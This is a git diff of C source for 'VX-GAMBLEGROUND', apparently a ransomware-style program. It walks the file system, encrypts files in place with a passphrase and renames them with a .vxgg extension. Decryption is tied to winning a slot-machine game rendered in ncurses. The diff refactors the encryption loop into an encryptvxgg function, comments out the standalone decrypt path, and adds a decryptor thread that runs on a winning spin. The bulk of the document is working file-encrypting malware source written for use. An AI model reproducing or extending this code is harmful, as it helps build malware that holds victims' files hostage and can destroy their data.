5 files changed, 131 insertions, 82 deletions

diff --git a/src/VX-GAMBLEGROUND.c b/src/VX-GAMBLEGROUND.c
index 1e508a2..d7e1842 100644
--- a/src/VX-GAMBLEGROUND.c
+++ b/src/VX-GAMBLEGROUND.c
@@ -158,87 +158,52 @@ int doslots_twrapper(void *passed) {
 int scanundencrypt(void *passed) {
     struct sande *p = (struct sande *)passed;
 
-    int err = REG_NOERROR;
-    regex_t encext;
-    if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE))) {
-        endwin();
-        error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Encryption skipped, lucky bastard. ECODE: %d", err);
-    }
-
     p->scanned = scanfiles(p->STARTPATH, p->cmp);
-    if(p->scanned == NULL)
-        error(1, errno, "[VX-GAMBLEGROUND] filescan broke");
-
-    int fd = -1;
-    for(struct nodelist *p2 = p->scanned; p2 != NULL; p2 = p2->next) {
-        // I'm retarded and forgot that my linked list implementation is bad so I need to explicitly check this or it will crash
-        if(p2->fullpath == NULL)
-            continue;
-
-        if(regexec(&encext, p2->fullpath, 0, NULL, 0) != REG_NOMATCH)
-            continue;
-
-
-        char *newname = NULL;
-        if(asprintf(&newname, "%s.vxgg", p2->fullpath) < 0) {
-            endwin();
-            error(1, errno, "[VX-GAMBLEGROUND] Couldn't get file's newname");
-        }
-        rename(p2->fullpath, newname);
-        
+    encryptvxgg(p->scanned, p->passphrase);
 
-        fd = open(newname, O_RDWR);
-        free(newname);
-        if(fd < 0)
-            continue;
-
-        passencblock(fd, p->passphrase);
-        close(fd);
-    }
-
-    // I don't have to do this, but I might as well
-    nodelist_delete(p->scanned);
     return 0;
 }
 
-int decrypt(void *args) {
-    struct sande *pass = (struct sande *)args;
-    pass->scanned = scanfiles(pass->STARTPATH, pass->cmp);
-    if(pass->scanned == NULL)
-        error(1, 0, "[VX-GAMBLEGROUND] Filescan broke");
+// int decrypt(void *args) {
+//     struct sande *pass = (struct sande *)args;
+//     pass->scanned = scanfiles(pass->STARTPATH, pass->cmp);
+//     if(pass->scanned == NULL)
+//         error(1, 0, "[VX-GAMBLEGROUND] Filescan broke");
     
-    int err = REG_NOERROR;
-    regex_t encext;
-    if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE)))
-        error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err);
-
-    int fd = -1;
-    for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) {
-        if(p->fullpath == NULL)
-            continue;
-
-        if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH)
-            continue;
-
-        fd = open(p->fullpath, O_RDWR);
-        if(fd < 0)
-            continue;
-        passencblock(fd, pass->passphrase);
-        close(fd);
+//     int err = REG_NOERROR;
+//     regex_t encext;
+//     if((err = regcomp(&encext, "(.*\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE)))
+//         error(1, 0, "[VX-GAMBLEGROUND] Regcomp failled. Decryption skipped, unlucky bastard. ECODE: %d", err);
+
+//     int fd = -1;
+//     for(struct nodelist *p = pass->scanned; p != NULL; p = p->next) {
+//         if(p->fullpath == NULL)
+//             continue;
+
+//         if(regexec(&encext, p->fullpath, 0, NULL, 0) == REG_NOMATCH)
+//             continue;
+
+//         fd = open(p->fullpath, O_RDWR);
+//         if(fd < 0)
+//             continue;
+//         passencblock(fd, pass->passphrase);
+//         close(fd);
         
-        // Once again my problems are solved by allocating shit instead of using static shit
-        char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname));
-        strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg")));
-        rename(p->fullpath, newname);
-        free(newname);
-    }
+//         // Once again my problems are solved by allocating shit instead of using static shit
+//         char *newname = calloc(strlen(p->fullpath) + 1, sizeof(*newname));
+//         strncpy(newname, p->fullpath, (strlen(p->fullpath) - strlen(".vxgg")));
+//         rename(p->fullpath, newname);
+//         free(newname);
+//     }
+
+//     endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized
+//     error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!");
+//     exit(0);
+
+//     return 0;
+// }
 
-    endwin(); // Calling this shouldn't be a problem even if ncurses isn't initalized
-    error(0, 0, "[VX-GAMBLEGROUND] Your files have been decrypted. Thanks for playing!");
-    exit(0);
 
-    return 0;
-}
 
 int main(int argc, char *argv[]) {
     struct arguments args = {
@@ -261,16 +226,16 @@ int main(int argc, char *argv[]) {
 
 
     // Deal with decrypting flag
-    if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) {
-        struct sande pass = {
-            .cmp = alphasort,
-            .passphrase = passphrase,
-            .scanned = NULL,
-            .STARTPATH = FILESCAN_START
-        };
-        decrypt((void*)&pass);
-        return 0;
-    }
+    // if((args.flags & SKIPSLOTS) && (args.inputpass != NULL)) {
+    //     struct sande pass = {
+    //         .cmp = alphasort,
+    //         .passphrase = passphrase,
+    //         .scanned = NULL,
+    //         .STARTPATH = FILESCAN_START
+    //     };
+    //     decrypt((void*)&pass);
+    //     return 0;
+    // }
 
     struct bullshit stuff;
     struct nodelist *files = NULL;
diff --git a/src/encryption.c b/src/encryption.c
index 268b802..8f52e49 100644
--- a/src/encryption.c
+++ b/src/encryption.c
@@ -4,8 +4,13 @@
  * Makes files unreadable, kinda.
 */
 
+#define _GNU_SOURCE
+#define TESTING
+
+#include "ll.h" // Why the fuck did putting this before encryption.h fix my compilation problem
 #include "encryption.h"
 
+
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <stdlib.h>
@@ -17,6 +22,8 @@
 #include <fcntl.h>
 
 #include <stdio.h>
+#include <stdarg.h>
+#include <regex.h>
 
 // Encrypt a file (OVERWRITES FILE!) using a passphrase
 size_t passenc(int fd, const char *passphrase) {
@@ -174,6 +181,69 @@ size_t passencblock(int fd, const char *passphrase) {
     return totalwritten;
 }
 
+int rename_format(const char *fullpath, const char *format, ...) {
+    va_list ap;
+    va_start(ap, format);
+
+    char *newname = NULL; int err = 0;
+    if((err = vasprintf(&newname, format, ap)) < 0) {
+        error(0, 0, "<rename_nodelist> Could not create string for new file");
+        return err;
+    }
+
+    if((err = rename(fullpath, newname)) < 0) {
+        error(0, errno, "<rename_nodelist> Could not rename file \"%s\" to \"%s\"", fullpath, newname);
+        return err;
+    }
+
+    free(newname);
+    va_end(ap);
+
+    return err;
+}
+
+
+
+int encryptvxgg(const struct nodelist *list, const char *passphrase) {
+    int fd = -1;
+
+    regex_t encext;
+    regcomp(&encext, "(.+\\.vxgg)$", REG_EXTENDED | REG_ICASE | REG_NEWLINE);
+
+    // Encrypt everything
+    for(const struct nodelist *p = list; p != NULL; p = p->next) {
+        if(p->fullpath == NULL) // Make sure I don't accidentally do anything with that last element
+            continue;
+        if(regexec(&encext, p->fullpath, 0, NULL, 0) != REG_NOMATCH) // Don't encrypt already encrypted files
+            continue;
+
+        fd = open(p->fullpath, O_RDWR);
+        if(fd < 0) {
+            #ifdef TESTING
+                error(0, errno, "<encryptvxgg> Could not open \"%s\" for encryption", p->fullpath);
+            #endif
+            continue;
+        }
+
+        passencblock(fd, passphrase);
+        close(fd);
+        #ifndef TESTING
+            rename_format(p->fullpath, "%s.vxgg", p->fullpath);
+        #else
+            rename_format(p->fullpath, "%s_%s.vxgg", p->fullpath, passphrase);
+        #endif
+
+    }
+
+    return 0;
+}
+
+// int decryptvxgg(const struct nodelist *list, const char *passphrase) {
+    
+    
+//     return 0;
+// }
+
 /*
 int main() {
     int fd = open("test.txt", O_RDWR);
diff --git a/src/encryption.h b/src/encryption.h
index aa88048..15800f4 100644
--- a/src/encryption.h
+++ b/src/encryption.h
@@ -9,4 +9,7 @@ size_t passenc(int fd, const char *passphrase);
 /* Encrypt file descriptor FD one block at a time using PASSPHRASE as the encryption key */
 size_t passencblock(int fd, const char *passphrase);
 
+// Encrypt a nodelist
+int encryptvxgg(const struct nodelist *list, const char *passphrase);
+
 #endif
\ No newline at end of file
diff --git a/src/screen.c b/src/screen.c
index d5b7f2b..4667895 100644
--- a/src/screen.c
+++ b/src/screen.c
@@ -26,6 +26,9 @@
 #include <stdio.h>
 #include <stdlib.h>
 #include <string.h>
+#include <threads.h>
+
+#define TESTING
 
 //////////////////////////////////// SPECIFICALLY USEFUL FUNCS ////////////////////////////////////
 
@@ -326,6 +329,9 @@ int spin(void *params) {
     }
     if(winning == 3) {
         // Do winning anim
+        thrd_t decryptor;
+        thrd_create(&decryptor, p->decrypt_callback, p->decrypt_args);
+
         mvaddch(0, 0, 'J');
         for(int i = 0, color = CCP_WINNING1;; i++, color = rangemod(color, 1, CCP_WINNING1, CCP_WINNING2)) {
             bkgd(COLOR_PAIR(color));
@@ -334,6 +340,8 @@ int spin(void *params) {
             refresh();
             nanosleep(&sleeper, NULL);
         }
+
+        thrd_join(decryptor, NULL);
     }
 
     // Revert colors back to normal
diff --git a/src/screen.h b/src/screen.h
index 0e5137a..43793b5 100644
--- a/src/screen.h
+++ b/src/screen.h
@@ -186,6 +186,9 @@ struct params {
 
     WINDOW *menuholder;
     MENU *menu;
+
+    int (*decrypt_callback)(void*);
+    void *decrypt_args; 
         
     // Previously buyp
     unsigned int price;